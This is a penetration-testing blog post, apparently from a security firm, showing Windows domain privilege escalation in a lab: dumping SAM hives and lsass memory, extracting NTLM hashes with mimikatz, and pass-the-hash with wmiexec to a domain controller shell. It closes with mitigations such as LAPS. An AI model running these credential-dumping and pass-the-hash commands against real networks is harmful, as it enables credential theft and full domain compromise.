Privilege escalation in Windows Domains (3/3)

AUGUST 26, 2019 / THIERRY VIACCOZ / 0 COMMENTS

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

It’s hard to maintain passwords and act in best practice in large networks. The laziness of administrators and their tendency to trade-off between usability and security, especially in stressful situations, offer some great additional attack vectors that are hard to mitigate. But in fact, they can determine whether an attacker can compromise a single server, or the entire company network at once.

Log on, log off

In order to be able to log into a system, your credentials have to be verified. For this, the system keeps a hashed representation of all local user passwords in the registry. They aren’t stored in plaintext, which is good, but we can still mess with the hashes and gain more and more access to the network.

Remember the administrator’s credentials we found in an executable in the previous blog post? Using them, we can access the SAM (Security Account Manager), the place on the system where the hashed credentials of the local users are stored:

```
C:\>reg save HKLM\SYSTEM SYSTEM.hiv
The operation completed successfully.

C:\>reg save HKLM\SAM SAM.hiv
The operation completed successfully.
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Once we extracted the data, we can read the hashes from another machine using mimikatz (https://github.com/gentilkiwi/mimikatz) and find the hash for the local administrator that was probably used to setup the system:

```
C:\>mimikatz.exe "lsadump::sam /system:SYSTEM.hiv /sam:SAM.hiv" exit

  .#####.   mimikatz 2.2.0 (x64) #17763 Apr 15 2019 01:18:12
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::sam /system:SYSTEM.hiv /sam:SAM.hiv
Domain : FILESHARE
SysKey : [CUT]
Local SID : S-1-5-21-1324465319-1849974485-4283226366

SAMKey : [CUT]

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 601c36b2ecfa2407ceab19fe6b366c7f

RID  : 000001f5 (501)
User : Guest
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
RID  : 000001f7 (503)
User : DefaultAccount
```

Once we extracted the hash, we can try to crack it using hashcat. We usually use a big wordlist and apply some commonly used password variation rules to it. If you used a password out of a dictionary and applied some basic mutations to it, such as “Elephant” becomes “3Lephant!”, we would find it in a very reasonable amount of time, even though it exceeds most password policies and is considered “strong”.

What if the password is good?

Whenever a user logs into a system, Windows keeps their hashed credentials in memory in a process called lsass.exe (Local Security Authority Subsystem Service). As a local administrator we can dump the memory of this process and therefore access the hashes of other logged in users as well.

To dump the process, we use a utility from Sysinternals called ProcDump (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump). We host it on a SMB share called *pwn* to be accessible by the next system we want to compromise:

```
# smbserver.py pwn .
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

We mentioned earlier that administrators don't want to maintain a huge number of passwords, so password reuse for local administrators is quite a common thing. Luckily our system of choice happens to use the same credentials as the previously compromised system.

To dump the lsass.exe process, we don't even have to wait for the credentials to be cracked. We can just use the hash previously found to log into the system and immediately invoke ProcDump on the targeted system:

```
# wmiexec.py -hashes :601c36b2ecfa2407ceab19fe6b366c7f Administrator@10.10.10.11
"\\\\10.0.0.254\\pwn\\procdump64.exe -accepteula -ma lsass.exe C:\lsass.dmp"
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] SMBv3.0 dialect used

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[06:13:10] Dump 1 initiated: C:\lsass.dmp
[06:13:10] Dump 1 writing: Estimated dump file size is 47 MB.
[06:13:10] Dump 1 complete: 47 MB written in 0.9 seconds
[06:13:11] Dump count reached.
```

Now we only have to collect the dumped process memory and feed it to mimikatz, as we did earlier:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
 # wmiexec.py -hashes :601c36b2ecfa2407ceab19fe6b366c7f Administrator@10.10.10.11 "move C:\\lsass.dmp
\\\\10.0.0.254\\pwn\\"
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] SMBv3.0 dialect used
        1 file(s) moved.
C:\>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit

  .#####.   mimikatz 2.2.0 (x64) #17763 Apr 15 2019 01:18:12
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz(commandline) # sekurlsa::logonPasswords
Opening : 'lsass.dmp' file for minidump...

[CUT]

Authentication Id : 0 ; 548423763 (00000000:20b04853)
Session           : Interactive from 4
User Name         : scooper-da
Domain            : WINLAB
Logon Server      : DC
Logon Time        : 03/05/2019 15:12:21
SID               : S-1-5-21-3016390056-248330633-1548466502-1106
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
        msv :
         [00000003] Primary
         * Username : scooper-da
         * Domain   : WINLAB
         * NTLM     : b4b9b02e6f09a9bd760f388b67351e2b
         * SHA1     : [CUT]
         * DPAPI    : [CUT]
        tspkg :
        wdigest :
         * Username : scooper-da
         * Domain   : WINLAB
         * Password : (null)
        kerberos :
         * Username : scooper-da
         * Domain   : WINLAB.CSNC.CH
         * Password : (null)
        ssp :
        credman :
```

The domain account called *WINLAB\scooper-da* is especially interesting, because it belongs to the group Domain Admins. Yes, one of the groups with the most privileges on the domain. Someone apparently used a domain administrator account to log into the system and made its hash available for us to crack or reuse.

Full compromise

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

It’s now clear where we’re heading: The most important server in any Windows domain – the domain controller. When we compromise this server, we have full access to all user accounts and every server that is joined to the domain.

We could still crack the hash of the domain administrator, or we could try again to log into the domain controller using the hash directly:

```
 # wmiexec.py -hashes :b4b9b02e6f09a9bd760f388b67351e2b WINLAB/scooper-da@10.10.10.1
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
winlab\scooper-da
```

Access, we’re in! We have full access to the domain controller and can control the entire company’s network.

Conclusion

Even without cleartext credentials, the so-called “pass-the-hash” attack makes it possible to compromise the network by reusing NTLM hashes. There are even applications that analyze the fastest way to the

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

domain controller or other valuable targets in the network and visualize them, as we will see in a future blog post.

To mitigate this, your administrators have to follow strict rules and don't shy to use more than one password for the setup of the systems. Microsoft LAPS (Local Administrator Password Solution) helps you dealing with local administrator passwords by making sure that they are different on every system and get changed regularly. Further reference could be found on https://technet.microsoft.com/en-us/mt227395.aspx.

Also, domain administrator accounts shouldn't be used on any other machine than the domain controllers, or you will make you an easier target for a full compromise of your network.

Penetration Test

ACTIVE DIRECTORY PENETRATION TESTING PRIVILEGE ESCALATION

PREVIOUS POST
Privilege escalation in Windows Domains (2/3)

NEXT POST
enOcean Security

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment

Name *

Email *

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Website

Post Comment

COMPASS LINKS

- Legal
- Impressum
- Compass Website
- RSS Feed
- Hacking-Lab
- Swiss Cyber Storm
- FileBox

CATEGORIES

Select Category

© 2019 COMPASS SECURITY BLOG

UP ↑

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD